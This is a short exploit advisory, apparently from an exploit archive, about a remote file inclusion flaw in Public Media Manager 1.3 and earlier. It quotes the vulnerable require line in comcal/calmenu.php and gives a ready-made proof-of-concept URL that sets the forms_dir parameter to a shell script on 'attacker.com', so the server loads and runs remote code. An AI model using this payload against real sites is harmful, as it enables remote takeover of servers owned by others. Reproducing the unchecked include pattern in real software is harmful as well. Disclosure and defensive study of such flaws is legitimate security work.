[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Public Media Manager
# Published : 2009-12-01
# Author : cr4wl3r
# Previous Title : Joomla MojoBlog Component v0.15 Multiple Remote File Include Vulnerabilities
# Next Title : Joomla! ProofReader Component 1.0 RC6 Cross-Site Scripting Vulnerability
[ Discovered by cr4wl3r cr4wl3r[4t]linuxmail[dot]org ]
########################################################################
#Public Media Manager <= 1.3 (forms_dir) Remote File Include Vulnerability
#Download Script : http://sourceforge.net/projects/pmm-cms/files/
#Dork : die("Lamers attempt"); :D
########################################################################
#
#Vuln : ./pmm-cms-1.3/comcal/calmenu.php (line 4)
# <?php
# require $forms_dir."calmenuform.php";
# ?>
#PoC : http://server/[path]/comcal/calmenu.php?forms_dir=http://attacker.com/shell.txt?cmd
#
#
########################################################################
########################################################################
####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################
########################################################################
########################################################################
[ Gorontalo / 2009 ]